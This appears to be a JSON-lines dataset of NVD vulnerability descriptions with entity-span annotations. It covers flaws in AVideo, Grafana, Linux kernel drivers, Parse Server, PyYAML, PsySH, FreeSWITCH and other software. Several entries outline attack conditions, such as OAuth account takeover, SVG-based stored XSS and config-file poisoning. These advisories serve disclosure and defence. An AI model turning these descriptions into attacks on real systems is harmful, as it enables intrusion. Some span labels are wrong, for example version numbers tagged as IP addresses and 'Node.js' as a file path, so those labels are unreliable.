{"text": "WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/encryptPass.json.php exposes the application's password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes. If an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint. This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly. This issue was fixed in version 26.0.", "spans": {"FILEPATH: /objects/encryptPass.json.php": [[74, 103]], "VULNERABILITY: SQL injection": [[396, 409]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33041"}}
{"text": "Grafana is an open-source platform for monitoring and observability. In versions 5.3 until 9.0.3, 8.5.9, 8.4.10, and 8.3.10, it is possible for a malicious user who has authorization to log into a Grafana instance via a configured OAuth IdP which provides a login name to take over the account of another user in that Grafana instance. This can occur when the malicious user is authorized to log in to Grafana via OAuth, the malicious user's external user id is not already associated with an account in Grafana, the malicious user's email address is not already associated with an account in Grafana, and the malicious user knows the Grafana username of the target user. If these conditions are met, the malicious user can set their username in the OAuth provider to that of the target user, then go through the OAuth flow to log in to Grafana. Due to the way that external and internal user accounts are linked together during login, if the conditions above are all met then the malicious user will be able to log in to the target user's Grafana account. Versions 9.0.3, 8.5.9, 8.4.10, and 8.3.10 contain a patch for this issue. As a workaround, concerned users can disable OAuth login to their Grafana instance, or ensure that all users authorized to log in via OAuth have a corresponding user account in Grafana linked to their email address.", "spans": {"SYSTEM: Grafana": [[0, 7], [197, 204], [318, 325], [402, 409], [504, 511], [593, 600], [635, 642], [837, 844], [1040, 1047], [1197, 1204], [1308, 1315]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31107"}}
{"text": "lestrrat-go/jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. A p2c parameter set too high in JWE's algorithm PBES2-* could lead to a denial of service. The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a denial of service. This vulnerability has been addressed in commit `64f2a229b` which has been included in release version 1.2.27 and 2.0.18. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: /JWE/JWK/JWS/JWT": [[60, 76]], "VULNERABILITY: denial of service": [[189, 206], [709, 726]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-49290"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.5.2-alpha.4 and 8.6.17, a stored cross-site scripting (XSS) vulnerability allows any authenticated user to upload an SVG file containing JavaScript. The file is served inline with Content-Type: image/svg+xml and without protective headers, causing the browser to execute embedded scripts in the Parse Server origin. This can be exploited to steal session tokens from localStorage and achieve account takeover. The default fileExtensions option blocks HTML file extensions but does not block SVG, which is a well-known XSS vector. All Parse Server deployments where file upload is enabled for authenticated users (the default) are affected. This vulnerability is fixed in 9.5.2-alpha.4 and 8.6.17.", "spans": {"FILEPATH: Node.js": [[95, 102]], "VULNERABILITY: cross-site scripting": [[148, 168]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30948"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix race when deleting free space root from the dirty cow roots list\n\nWhen deleting the free space tree we are deleting the free space root\nfrom the list fs_info->dirty_cowonly_roots without taking the lock that\nprotects it, which is struct btrfs_fs_info::trans_lock.\nThis unsynchronized list manipulation may cause chaos if there's another\nconcurrent manipulation of this list, such as when adding a root to it\nwith ctree.c:add_root_to_dirty_list().\n\nThis can result in all sorts of weird failures caused by a race, such as\nthe following crash:\n\n  [337571.278245] general protection fault, probably for non-canonical address 0xdead000000000108: 0000 [#1] PREEMPT SMP PTI\n  [337571.278933] CPU: 1 PID: 115447 Comm: btrfs Tainted: G        W          6.4.0-rc6-btrfs-next-134+ #1\n  [337571.279153] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\n  [337571.279572] RIP: 0010:commit_cowonly_roots+0x11f/0x250 [btrfs]\n  [337571.279928] Code: 85 38 06 00 (...)\n  [337571.280363] RSP: 0018:ffff9f63446efba0 EFLAGS: 00010206\n  [337571.280582] RAX: ffff942d98ec2638 RBX: ffff9430b82b4c30 RCX: 0000000449e1c000\n  [337571.280798] RDX: dead000000000100 RSI: ffff9430021e4900 RDI: 0000000000036070\n  [337571.281015] RBP: ffff942d98ec2000 R08: ffff942d98ec2000 R09: 000000000000015b\n  [337571.281254] R10: 0000000000000009 R11: 0000000000000001 R12: ffff942fe8fbf600\n  [337571.281476] R13: ffff942dabe23040 R14: ffff942dabe20800 R15: ffff942d92cf3b48\n  [337571.281723] FS:  00007f478adb7340(0000) GS:ffff94349fa40000(0000) knlGS:0000000000000000\n  [337571.281950] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  [337571.282184] CR2: 00007f478ab9a3d5 CR3: 000000001e02c001 CR4: 0000000000370ee0\n  [337571.282416] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  [337571.282647] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  [337571.282874] Call Trace:\n  [337571.283101]  <TASK>\n  [337571.283327]  ? __die_body+0x1b/0x60\n  [337571.283570]  ? die_addr+0x39/0x60\n  [337571.283796]  ? exc_general_protection+0x22e/0x430\n  [337571.284022]  ? asm_exc_general_protection+0x22/0x30\n  [337571.284251]  ? commit_cowonly_roots+0x11f/0x250 [btrfs]\n  [337571.284531]  btrfs_commit_transaction+0x42e/0xf90 [btrfs]\n  [337571.284803]  ? _raw_spin_unlock+0x15/0x30\n  [337571.285031]  ? release_extent_buffer+0x103/0x130 [btrfs]\n  [337571.285305]  reset_balance_state+0x152/0x1b0 [btrfs]\n  [337571.285578]  btrfs_balance+0xa50/0x11e0 [btrfs]\n  [337571.285864]  ? __kmem_cache_alloc_node+0x14a/0x410\n  [337571.286086]  btrfs_ioctl+0x249a/0x3320 [btrfs]\n  [337571.286358]  ? mod_objcg_state+0xd2/0x360\n  [337571.286577]  ? refill_obj_stock+0xb0/0x160\n  [337571.286798]  ? seq_release+0x25/0x30\n  [337571.287016]  ? __rseq_handle_notify_resume+0x3ba/0x4b0\n  [337571.287235]  ? percpu_counter_add_batch+0x2e/0xa0\n  [337571.287455]  ? __x64_sys_ioctl+0x88/0xc0\n  [337571.287675]  __x64_sys_ioctl+0x88/0xc0\n  [337571.287901]  do_syscall_64+0x38/0x90\n  [337571.288126]  entry_SYSCALL_64_after_hwframe+0x72/0xdc\n  [337571.288352] RIP: 0033:0x7f478aaffe9b\n\nSo fix this by locking struct btrfs_fs_info::trans_lock before deleting\nthe free space root from that list.", "spans": {"DOMAIN: rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org": [[933, 977]], "FILEPATH: /01/2014": [[980, 988]], "FILEPATH: ctree.c": [[493, 500]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[888, 892]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54067"}}
{"text": "Certain NETGEAR devices are affected by stored XSS. This affects CBR40 before 2.5.0.10, EAX20 before 1.0.0.48, EAX80 before 1.0.1.64, EX6120 before 1.0.0.64, EX6130 before 1.0.0.44, EX7500 before 1.0.0.72, R7000 before 1.0.11.116, R7900 before 1.0.4.38, R8000 before 1.0.4.68, RAX200 before 1.0.3.106, RBS40V before 2.6.1.4, RBW30 before 2.6.1.4, EX3700 before 1.0.0.90, MR60 before 1.0.6.110, R7000P before 1.3.2.126, RAX20 before 1.0.2.82, RAX45 before 1.0.2.72, RAX80 before 1.0.3.106, EX3800 before 1.0.0.90, MS60 before 1.0.6.110, R6900P before 1.3.2.126, RAX15 before 1.0.2.82, RAX50 before 1.0.2.72, RAX75 before 1.0.3.106, RBR750 before 3.2.16.6, RBR850 before 3.2.16.6, RBS750 before 3.2.16.6, RBS850 before 3.2.16.6, RBK752 before 3.2.16.6, and RBK852 before 3.2.16.6.", "spans": {"IP_ADDRESS: 2.5.0.10": [[78, 86]], "IP_ADDRESS: 1.0.0.48": [[101, 109]], "IP_ADDRESS: 1.0.1.64": [[124, 132]], "IP_ADDRESS: 1.0.0.64": [[148, 156]], "IP_ADDRESS: 1.0.0.44": [[172, 180]], "IP_ADDRESS: 1.0.0.72": [[196, 204]], "IP_ADDRESS: 1.0.11.116": [[219, 229]], "IP_ADDRESS: 1.0.4.38": [[244, 252]], "IP_ADDRESS: 1.0.4.68": [[267, 275]], "IP_ADDRESS: 1.0.3.106": [[291, 300], [478, 487], [620, 629]], "IP_ADDRESS: 2.6.1.4": [[316, 323], [338, 345]], "IP_ADDRESS: 1.0.0.90": [[361, 369], [503, 511]], "IP_ADDRESS: 1.0.6.110": [[383, 392], [525, 534]], "IP_ADDRESS: 1.3.2.126": [[408, 417], [550, 559]], "IP_ADDRESS: 1.0.2.82": [[432, 440], [574, 582]], "IP_ADDRESS: 1.0.2.72": [[455, 463], [597, 605]], "IP_ADDRESS: 3.2.16.6": [[645, 653], [669, 677], [693, 701], [717, 725], [741, 749], [769, 777]], "VULNERABILITY: stored XSS": [[40, 50]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-45670"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/ast: astdp: Fix timeout for enabling video signal\n\nThe ASTDP transmitter sometimes takes up to 1 second for enabling the\nvideo signal, while the timeout is only 200 msec. This results in a\nkernel error message. Increase the timeout to 1 second. An example\nof the error message is shown below.\n\n[  697.084433] ------------[ cut here ]------------\n[  697.091115] ast 0000:02:00.0: [drm] drm_WARN_ON(!__ast_dp_wait_enable(ast, enabled))\n[  697.091233] WARNING: CPU: 1 PID: 160 at drivers/gpu/drm/ast/ast_dp.c:232 ast_dp_set_enable+0x123/0x140 [ast]\n[...]\n[  697.272469] RIP: 0010:ast_dp_set_enable+0x123/0x140 [ast]\n[...]\n[  697.415283] Call Trace:\n[  697.420727]  <TASK>\n[  697.425908]  ? show_trace_log_lvl+0x196/0x2c0\n[  697.433304]  ? show_trace_log_lvl+0x196/0x2c0\n[  697.440693]  ? drm_atomic_helper_commit_modeset_enables+0x30a/0x470\n[  697.450115]  ? ast_dp_set_enable+0x123/0x140 [ast]\n[  697.458059]  ? __warn.cold+0xaf/0xca\n[  697.464713]  ? ast_dp_set_enable+0x123/0x140 [ast]\n[  697.472633]  ? report_bug+0x134/0x1d0\n[  697.479544]  ? handle_bug+0x58/0x90\n[  697.486127]  ? exc_invalid_op+0x13/0x40\n[  697.492975]  ? asm_exc_invalid_op+0x16/0x20\n[  697.500224]  ? preempt_count_sub+0x14/0xc0\n[  697.507473]  ? ast_dp_set_enable+0x123/0x140 [ast]\n[  697.515377]  ? ast_dp_set_enable+0x123/0x140 [ast]\n[  697.523227]  drm_atomic_helper_commit_modeset_enables+0x30a/0x470\n[  697.532388]  drm_atomic_helper_commit_tail+0x58/0x90\n[  697.540400]  ast_mode_config_helper_atomic_commit_tail+0x30/0x40 [ast]\n[  697.550009]  commit_tail+0xfe/0x1d0\n[  697.556547]  drm_atomic_helper_commit+0x198/0x1c0\n\nThis is a cosmetical problem. Enabling the video signal still works\neven with the error message. The problem has always been present, but\nonly recent versions of the ast driver warn about missing the timeout.", "spans": {"FILEPATH: /gpu/drm/ast/ast_dp.c": [[557, 578]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21747"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: pcl818: fix null-ptr-deref in pcl818_ai_cancel()\n\nSyzbot identified an issue [1] in pcl818_ai_cancel(), which stems from\nthe fact that in case of early device detach via pcl818_detach(),\nsubdevice dev->read_subdev may not have initialized its pointer to\n&struct comedi_async as intended. Thus, any such dereferencing of\n&s->async->cmd will lead to general protection fault and kernel crash.\n\nMitigate this problem by removing a call to pcl818_ai_cancel() from\npcl818_detach() altogether. This way, if the subdevice setups its\nsupport for async commands, everything async-related will be\nhandled via subdevice's own ->cancel() function in\ncomedi_device_detach_locked() even before pcl818_detach(). If no\nsupport for asynchronous commands is provided, there is no need\nto cancel anything either.\n\n[1] Syzbot crash:\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000005: 0000 [#1] SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000028-0x000000000000002f]\nCPU: 1 UID: 0 PID: 6050 Comm: syz.0.18 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025\nRIP: 0010:pcl818_ai_cancel+0x69/0x3f0 drivers/comedi/drivers/pcl818.c:762\n...\nCall Trace:\n <TASK>\n pcl818_detach+0x66/0xd0 drivers/comedi/drivers/pcl818.c:1115\n comedi_device_detach_locked+0x178/0x750 drivers/comedi/drivers.c:207\n do_devconfig_ioctl drivers/comedi/comedi_fops.c:848 [inline]\n comedi_unlocked_ioctl+0xcde/0x1020 drivers/comedi/comedi_fops.c:2178\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n...", "spans": {"FILEPATH: /18/2025": [[1231, 1239]], "FILEPATH: /comedi/drivers/pcl818.c": [[1285, 1309], [1370, 1394]], "FILEPATH: /comedi/drivers.c": [[1448, 1465]], "FILEPATH: /comedi/comedi_fops.c": [[1497, 1518], [1575, 1596]], "FILEPATH: ioctl.c": [[1616, 1623], [1655, 1662]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1165, 1171], [1172, 1178], [1194, 1200], [1222, 1228]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68335"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Don't skip unrelated instruction if INT3/INTO is replaced\n\nWhen re-injecting a soft interrupt from an INT3, INT0, or (select) INTn\ninstruction, discard the exception and retry the instruction if the code\nstream is changed (e.g. by a different vCPU) between when the CPU\nexecutes the instruction and when KVM decodes the instruction to get the\nnext RIP.\n\nAs effectively predicted by commit 6ef88d6e36c2 (\"KVM: SVM: Re-inject\nINT3/INTO instead of retrying the instruction\"), failure to verify that\nthe correct INTn instruction was decoded can effectively clobber guest\nstate due to decoding the wrong instruction and thus specifying the\nwrong next RIP.\n\nThe bug most often manifests as \"Oops: int3\" panics on static branch\nchecks in Linux guests.  Enabling or disabling a static branch in Linux\nuses the kernel's \"text poke\" code patching mechanism.  To modify code\nwhile other CPUs may be executing that code, Linux (temporarily)\nreplaces the first byte of the original instruction with an int3 (opcode\n0xcc), then patches in the new code stream except for the first byte,\nand finally replaces the int3 with the first byte of the new code\nstream.  If a CPU hits the int3, i.e. executes the code while it's being\nmodified, then the guest kernel must look up the RIP to determine how to\nhandle the #BP, e.g. by emulating the new instruction.  If the RIP is\nincorrect, then this lookup fails and the guest kernel panics.\n\nThe bug reproduces almost instantly by hacking the guest kernel to\nrepeatedly check a static branch[1] while running a drgn script[2] on\nthe host to constantly swap out the memory containing the guest's TSS.\n\n[1]: https://gist.github.com/osandov/44d17c51c28c0ac998ea0334edf90b5a\n[2]: https://gist.github.com/osandov/10e45e45afa29b11e0c7209247afc00b", "spans": {"URL: https://gist.github.com/osandov/44d17c51c28c0ac998ea0334edf90b5a": [[1711, 1775]], "URL: https://gist.github.com/osandov/10e45e45afa29b11e0c7209247afc00b": [[1781, 1845]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[810, 815], [866, 871], [988, 993]], "SYSTEM: KVM": [[69, 72], [383, 386], [483, 486]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68259"}}
{"text": "A vulnerability was discovered in the PyYAML library in versions before 5.4, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. This flaw allows an attacker to execute arbitrary code on the system by abusing the python/object/new constructor. This flaw is due to an incomplete fix for CVE-2020-1747.", "spans": {"CVE_ID: CVE-2020-1747": [[478, 491]], "FILEPATH: /object/new": [[411, 422]], "VULNERABILITY: code execution": [[114, 128]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14343"}}
{"text": "Weave Net is open source software which creates a virtual network that connects Docker containers across multiple hosts and enables their automatic discovery. Weave Net before version 2.8.0 has a vulnerability in which can allow an attacker to take over any host in the cluster. Weave Net is supplied with a manifest that runs pods on every node in a Kubernetes cluster, which are responsible for managing network connections for all other pods in the cluster. This requires a lot of power over the host, and the manifest sets `privileged: true`, which gives it that power. It also set `hostPID: true`, which gave it the ability to access all other processes on the host, and write anywhere in the root filesystem of the host. This setting was not necessary, and is being removed. You are only vulnerable if you have an additional vulnerability (e.g. a bug in Kubernetes) or misconfiguration that allows an attacker to run code inside the Weave Net pod, No such bug is known at the time of release, and there are no known instances of this being exploited. Weave Net 2.8.0 removes the hostPID setting and moves CNI plugin install to an init container. Users who do not update to 2.8.0 can edit the hostPID line in their existing DaemonSet manifest to say false instead of true, arrange some other way to install CNI plugins (e.g. Ansible) and remove those mounts from the DaemonSet manifest.", "spans": {"SYSTEM: Kubernetes": [[351, 361], [860, 870]], "SYSTEM: Ansible": [[1330, 1337]], "ORGANIZATION: Docker": [[80, 86]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26278"}}
{"text": "PsySH is a runtime developer console, interactive debugger, and REPL for PHP. Prior to versions 0.11.23 and 0.12.19, PsySH automatically loads and executes a `.psysh.php` file from the Current Working Directory (CWD) on startup. If an attacker can write to a directory that a victim later uses as their CWD when launching PsySH, the attacker can trigger arbitrary code execution in the victim's context. When the victim runs PsySH with elevated privileges (e.g., root), this results in local privilege escalation. This is a CWD configuration poisoning issue leading to arbitrary code execution in the victim user’s context. If a privileged user (e.g., root, a CI runner, or an ops/debug account) launches PsySH with CWD set to an attacker-writable directory containing a malicious `.psysh.php`, the attacker can execute commands with that privileged user’s permissions, resulting in local privilege escalation. Downstream consumers that embed PsySH inherit this risk. For example, Laravel Tinker (`php artisan tinker`) uses PsySH. If a privileged user runs Tinker while their shell is in an attacker-writable directory, the `.psysh.php` auto-load behavior can be abused in the same way to execute attacker-controlled code under the victim’s privileges. Versions 0.11.23 and 0.12.19 patch the issue.", "spans": {"FILEPATH: psysh.php": [[160, 169], [783, 792], [1126, 1135]], "SYSTEM: PHP": [[73, 76]], "VULNERABILITY: privilege escalation": [[492, 512], [889, 909]], "VULNERABILITY: code execution": [[364, 378], [579, 593]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25129"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: phy: at803x: fix NULL pointer dereference on AR9331 PHY\n\nLatest kernel will explode on the PHY interrupt config, since it depends\nnow on allocated priv. So, run probe to allocate priv to fix it.\n\n ar9331_switch ethernet.1:10 lan0 (uninitialized): PHY [!ahb!ethernet@1a000000!mdio!switch@10:00] driver [Qualcomm Atheros AR9331 built-in PHY] (irq=13)\n CPU 0 Unable to handle kernel paging request at virtual address 0000000a, epc == 8050e8a8, ra == 80504b34\n         ...\n Call Trace:\n [<8050e8a8>] at803x_config_intr+0x5c/0xd0\n [<80504b34>] phy_request_interrupt+0xa8/0xd0\n [<8050289c>] phylink_bringup_phy+0x2d8/0x3ac\n [<80502b68>] phylink_fwnode_phy_connect+0x118/0x130\n [<8074d8ec>] dsa_slave_create+0x270/0x420\n [<80743b04>] dsa_port_setup+0x12c/0x148\n [<8074580c>] dsa_register_switch+0xaf0/0xcc0\n [<80511344>] ar9331_sw_probe+0x370/0x388\n [<8050cb78>] mdio_probe+0x44/0x70\n [<804df300>] really_probe+0x200/0x424\n [<804df7b4>] __driver_probe_device+0x290/0x298\n [<804df810>] driver_probe_device+0x54/0xe4\n [<804dfd50>] __device_attach_driver+0xe4/0x130\n [<804dcb00>] bus_for_each_drv+0xb4/0xd8\n [<804dfac4>] __device_attach+0x104/0x1a4\n [<804ddd24>] bus_probe_device+0x48/0xc4\n [<804deb44>] deferred_probe_work_func+0xf0/0x10c\n [<800a0ffc>] process_one_work+0x314/0x4d4\n [<800a17fc>] worker_thread+0x2a4/0x354\n [<800a9a54>] kthread+0x134/0x13c\n [<8006306c>] ret_from_kernel_thread+0x14/0x1c\n\nSame Issue would affect some other PHYs (QCA8081, QCA9561), so fix it\ntoo.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Qualcomm": [[376, 384]], "VULNERABILITY: NULL pointer dereference": [[91, 115]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49692"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause a floating point exception by calling inplace operations with crafted arguments that would result in a division by 0. The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/inplace_ops.cc#L283) has a logic error: it should skip processing if `x` and `v` are empty but the code uses `||` instead of `&&`. We have patched the issue in GitHub commit e86605c0a336c088b638da02135ea6f9f6753618. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/inplace_ops.cc#L283": [[253, 383]], "HASH: e86605c0a336c088b638da02135ea6f9f6753618": [[538, 578]], "ORGANIZATION: GitHub": [[524, 530]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37660"}}
{"text": "FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a software implementation that runs on any commodity hardware. Prior to version 1.10.11, when handling DTLS-SRTP for media setup, FreeSWITCH is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the FreeSWITCH server that is expecting packets from the caller, a DTLS error is generated. This results in the media session being torn down, which is followed by teardown at signaling (SIP) level too. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable FreeSWITCH servers for calls that rely on DTLS-SRTP. To address this vulnerability, upgrade FreeSWITCH to 1.10.11 which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check.", "spans": {"VULNERABILITY: Denial of Service": [[279, 296], [862, 879]], "VULNERABILITY: race condition": [[306, 320]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-51443"}}
{"text": "Realtek Jungle SDK version v2.x up to v3.4.14B provides a 'WiFi Simple Config' server that implements both UPnP and SSDP protocols. The binary is usually named wscd or mini_upnpd and is the successor to miniigd. The server is vulnerable to a stack buffer overflow vulnerability that is present due to unsafe parsing of the UPnP SUBSCRIBE/UNSUBSCRIBE Callback header. Successful exploitation of this vulnerability allows remote unauthenticated attackers to gain arbitrary code execution on the affected device.", "spans": {"VULNERABILITY: buffer overflow": [[248, 263]], "VULNERABILITY: code execution": [[471, 485]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35393"}}
{"text": "MSEdgeRedirect is a tool to redirect news, search, widgets, weather, and more to a user's default browser. MSEdgeRedirect versions before 0.5.0.1 are vulnerable to Remote Code Execution via specifically crafted URLs. This vulnerability requires user interaction and the acceptance of a prompt. With how MSEdgeRedirect is coded, parameters are impossible to pass to any launched file. However, there are two possible scenarios in which an attacker can do more than a minor annoyance. In Scenario 1 (confirmed), a user visits an attacker controlled webpage; the user is prompted with, and downloads, an executable payload; the user is prompted with, and accepts, the aforementioned crafted URL prompt; and RCE executes the payload the user previously downloaded, if the download path is successfully guessed. In Scenario 2 (not yet confirmed), a user visits an attacked controlled webpage; the user is prompted with, and accepts, the aforementioned crafted URL prompt; and a payload on a remote, attacker controlled, SMB server is executed. The issue was found in the _DecodeAndRun() function, in which I incorrectly assumed _WinAPI_UrlIs() would only accept web resources. Unfortunately, file:/// passes the default _WinAPI_UrlIs check(). File paths are now directly checked for and must fail. There is no currently known exploitation of this vulnerability in the wild. A patched version, 0.5.0.1, has been released that checks for and denies these crafted URLs. There are no workarounds for this issue. Users are advised not to accept any unexpected prompts from web pages.", "spans": {"IP_ADDRESS: 0.5.0.1": [[138, 145], [1388, 1395]], "VULNERABILITY: Remote Code Execution": [[164, 185]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43844"}}
{"text": "Next.js is a React framework for building full-stack web applications. Versions prior to 14.2.24 and 15.1.6 have a race-condition vulnerability. This issue only affects the Pages Router under certain misconfigurations, causing normal endpoints to serve `pageProps` data instead of standard HTML. This issue was patched in versions 15.1.6 and 14.2.24 by stripping the `x-now-route-matches` header from incoming requests. Applications hosted on Vercel's platform are not affected by this issue, as the platform does not cache responses based solely on `200 OK` status without explicit `cache-control` headers. Those who self-host Next.js deployments and are unable to upgrade immediately can mitigate this vulnerability by stripping the `x-now-route-matches` header from all incoming requests at the content development network and setting `cache-control: no-store` for all responses under risk. The maintainers of Next.js strongly recommend only caching responses with explicit cache-control headers.", "spans": {"FILEPATH: Next.js": [[0, 7], [628, 635], [913, 920]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-32421"}}
{"text": "snappy-java is a fast compressor/decompressor for Java. Due to unchecked multiplications, an integer overflow may occur in versions prior to 1.1.10.1, causing an unrecoverable fatal error.\n\nThe function `compress(char[] input)` in the file `Snappy.java` receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the rawCompress` function.\n\nSince the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array.\n\nSince the maxCompressedLength function treats the length as an unsigned integer, it doesn’t care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a `java.lang.NegativeArraySizeException` exception will be raised while trying to allocate the array `buf`. On the other side, if the result is positive, the `buf` array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error.\n\nThe same issue exists also when using the `compress` functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won’t occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place.\n\nVersion 1.1.10.1 contains a patch for this issue.", "spans": {"IP_ADDRESS: 1.1.10.1": [[141, 149], [1568, 1576]], "FILEPATH: Snappy.java": [[241, 252]], "SYSTEM: Java": [[50, 54], [869, 873]], "VULNERABILITY: integer overflow": [[93, 109], [464, 480]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34454"}}
{"text": "Rust is a multi-paradigm, general-purpose programming language designed for performance and safety, especially safe concurrency. The Rust Security Response WG was notified that the `std::fs::remove_dir_all` standard library function is vulnerable a race condition enabling symlink following (CWE-363). An attacker could use this security issue to trick a privileged program into deleting files and directories the attacker couldn't otherwise access or delete. Rust 1.0.0 through Rust 1.58.0 is affected by this vulnerability with 1.58.1 containing a patch. Note that the following build targets don't have usable APIs to properly mitigate the attack, and are thus still vulnerable even with a patched toolchain: macOS before version 10.10 (Yosemite) and REDOX. We recommend everyone to update to Rust 1.58.1 as soon as possible, especially people developing programs expected to run in privileged contexts (including system daemons and setuid binaries), as those have the highest risk of being affected by this. Note that adding checks in your codebase before calling remove_dir_all will not mitigate the vulnerability, as they would also be vulnerable to race conditions like remove_dir_all itself. The existing mitigation is working as intended outside of race conditions.", "spans": {"SYSTEM: macOS": [[712, 717]], "VULNERABILITY: race condition": [[249, 263]], "VULNERABILITY: symlink": [[273, 280]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21658"}}
{"text": "Improper Input Validation vulnerability.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0-M1 through 9.0.112.\n\nThe following versions were EOL at the time the CVE was created but are \nknown to be affected: 8.5.0 through 8.5.100. Older EOL versions are not affected.\nTomcat did not validate that the host name provided via the SNI \nextension was the same as the host name provided in the HTTP host header \nfield. If Tomcat was configured with more than one virtual host and the \nTLS configuration for one of those hosts did not require client \ncertificate authentication but another one did, it was possible for a \nclient to bypass the client certificate authentication by sending \ndifferent host names in the SNI extension and the HTTP host header field.\n\n\n\nThe vulnerability only applies if client certificate authentication is \nonly enforced at the Connector. It does not apply if client certificate \nauthentication is enforced at the web application.\n\n\nUsers are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fix the issue.", "spans": {"SYSTEM: Apache Tomcat": [[61, 74]], "VULNERABILITY: Improper Input Validation": [[0, 25]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-66614"}}
{"text": "An issue was discovered in split_region in uc.c in Unicorn Engine before 2.0.0-rc5. It allows local attackers to escape the sandbox. An attacker must first obtain the ability to execute crafted code in the target sandbox in order to exploit this vulnerability. The specific flaw exists within the virtual memory manager. The issue results from the faulty comparison of GVA and GPA while calling uc_mem_map_ptr to free part of a claimed memory block. An attacker can leverage this vulnerability to escape the sandbox and execute arbitrary code on the host machine.", "spans": {"FILEPATH: uc.c": [[43, 47]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-44078"}}
